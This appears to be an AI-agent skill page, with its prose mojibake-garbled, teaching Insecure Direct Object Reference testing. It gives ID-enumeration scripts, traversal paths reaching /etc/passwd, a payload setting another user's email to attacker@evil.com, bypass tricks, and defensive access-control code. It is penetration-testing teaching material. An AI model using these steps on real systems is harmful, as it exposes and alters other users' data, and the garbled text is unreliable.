idor-testing
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill idor-testing
Agent 安装分布
Skill 文档
IDORä¸å®å ¨çç´æ¥å¯¹è±¡å¼ç¨æµè¯
æ¦è¿°
IDORï¼Insecure Direct Object Referenceï¼æ¯ä¸ç§è®¿é®æ§å¶æ¼æ´ï¼å½åºç¨ç¨åºç´æ¥ä½¿ç¨ç¨æ·æä¾çè¾å ¥æ¥è®¿é®èµæºï¼èæªéªè¯ç¨æ·æ¯å¦ææé访é®è¯¥èµæºæ¶åçãæ¬æè½æä¾IDORæ¼æ´çæ£æµãå©ç¨å鲿¤æ¹æ³ã
æ¼æ´åç
åºç¨ç¨åºä½¿ç¨å¯é¢æµçæ è¯ç¬¦ï¼å¦IDãæä»¶åï¼ç´æ¥å¼ç¨èµæºï¼æªéªè¯å½åç¨æ·æ¯å¦ææé访é®è¯¥èµæºã
å±é©ä»£ç 示ä¾ï¼
// ç´æ¥ä½¿ç¨ç¨æ·è¾å
¥çID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
æµè¯æ¹æ³
1. è¯å«ç´æ¥å¯¹è±¡å¼ç¨
常è§èµæºç±»åï¼
- ç¨æ·ID
- æä»¶ID/æä»¶å
- 订åID
- ææ¡£ID
- è´¦æ·ID
- è®°å½ID
常è§ä½ç½®ï¼
- URLåæ°
- POSTæ°æ®
- Cookieå¼
- HTTP头
- æä»¶è·¯å¾
2. æä¸¾æµè¯
顺åºIDæµè¯ï¼
/user?id=1
/user?id=2
/user?id=3
UUIDæµè¯ï¼
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
æä»¶åæµè¯ï¼
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
3. æ°´å¹³æéæµè¯
访é®å ¶ä»ç¨æ·èµæºï¼
å½åç¨æ·ID: 100
æµè¯: /user?id=101
æµè¯: /user?id=102
访é®å ¶ä»ç¨æ·æä»¶ï¼
/files/user100_document.pdf
æµè¯: /files/user101_document.pdf
4. åç´æéæµè¯
æ®éç¨æ·è®¿é®ç®¡çåèµæºï¼
/admin/users?id=1
/admin/settings
/admin/logs
å©ç¨ææ¯
ç¨æ·ä¿¡æ¯æ³é²
æä¸¾ç¨æ·èµæï¼
# é¡ºåºæä¸¾
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# è§å¯ååºå·®å¼
æä»¶è®¿é®
访é®å ¶ä»ç¨æ·æä»¶ï¼
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
ç®å½éåç»åï¼
/files/../admin/config.php
/files/../../etc/passwd
æ°æ®ä¿®æ¹
ä¿®æ¹å ¶ä»ç¨æ·æ°æ®ï¼
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}
æ¹éæä½
æ¹éè·åæ°æ®ï¼
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
ç»è¿ææ¯
IDæ··æ·
Base64ç¼ç ï¼
åå§ID: 123
ç¼ç : MTIz
URL: /user?id=MTIz
åå¸å¼ï¼
åå§ID: 123
åå¸: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
åæ°åæ··æ·
使ç¨ä¸ååæ°åï¼
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
HTTPæ¹æ³ç»è¿
å°è¯ä¸åHTTPæ¹æ³ï¼
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
è·¯å¾æ··æ·
å°è¯ä¸åè·¯å¾ï¼
/api/v1/user/123
/api/user/123
/user/123
/users/123
å·¥å ·ä½¿ç¨
Burp Suite
使ç¨Intruderï¼
- æ¦æªè¯·æ±
- åéå°Intruder
- æ è®°IDåæ°
- ä½¿ç¨æ°ååºåæèªå®ä¹å表
- è§å¯ååºå·®å¼
使ç¨Repeaterï¼
- æå¨ä¿®æ¹ID
- æµè¯ä¸åå¼
- è§å¯ååº
OWASP ZAP
# 使ç¨ZAPè¿è¡IDORæ«æ
zap-cli active-scan --scanners all http://target.com
Pythonèæ¬
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
éªè¯åæ¥å
éªè¯æ¥éª¤
- 确认å¯ä»¥è®¿é®æªææçèµæº
- éªè¯å¯ä»¥è¯»åãä¿®æ¹æå é¤å ¶ä»ç¨æ·æ°æ®
- è¯ä¼°å½±åï¼æ°æ®æ³é²ãéç§ä¾µç¯çï¼
- è®°å½å®æ´çPOC
æ¥åè¦ç¹
- æ¼æ´ä½ç½®åèµæºæ è¯ç¬¦
- å¯è®¿é®çæªææèµæº
- 宿´çå©ç¨æ¥éª¤åPoC
- ä¿®å¤å»ºè®®ï¼è®¿é®æ§å¶ãèµæºæ å°çï¼
鲿¤æªæ½
æ¨èæ¹æ¡
-
è®¿é®æ§å¶éªè¯
def get_user_data(user_id, current_user_id): # éªè¯æé if user_id != current_user_id: raise PermissionDenied("Cannot access other user's data") # è¿åæ°æ® return db.get_user(user_id) -
é´æ¥å¯¹è±¡å¼ç¨
# ä½¿ç¨æ å°è¡¨ user_mapping = { 'abc123': 100, 'def456': 101, 'ghi789': 102 } def get_user(mapped_id): real_id = user_mapping.get(mapped_id) if not real_id: raise NotFound() return db.get_user(real_id) -
åºäºè§è²çè®¿é®æ§å¶
def check_permission(user, resource): if user.role == 'admin': return True if resource.owner_id == user.id: return True return False -
èµæºæææéªè¯
def update_user_data(user_id, data, current_user): user = db.get_user(user_id) # éªè¯æææ if user.id != current_user.id and current_user.role != 'admin': raise PermissionDenied() # æ´æ°æ°æ® db.update_user(user_id, data) -
使ç¨ä¸å¯é¢æµçæ è¯ç¬¦
import uuid # 使ç¨UUIDæ¿ä»£é¡ºåºID resource_id = str(uuid.uuid4()) -
æå°æéåå
- åªè¿åç¨æ·ææé访é®çæ°æ®
- ä½¿ç¨æ°æ®è¿æ»¤
- éå¶å¯è®¿é®çèµæºèå´
注æäºé¡¹
- ä» å¨æææµè¯ç¯å¢ä¸è¿è¡
- é¿å è®¿é®æä¿®æ¹çå®ç¨æ·æ°æ®
- 注æä¸åèµæºçè®¿é®æ§å¶å·®å¼
- æµè¯æ¶æ³¨æè¯·æ±é¢çï¼é¿å 触å鲿¤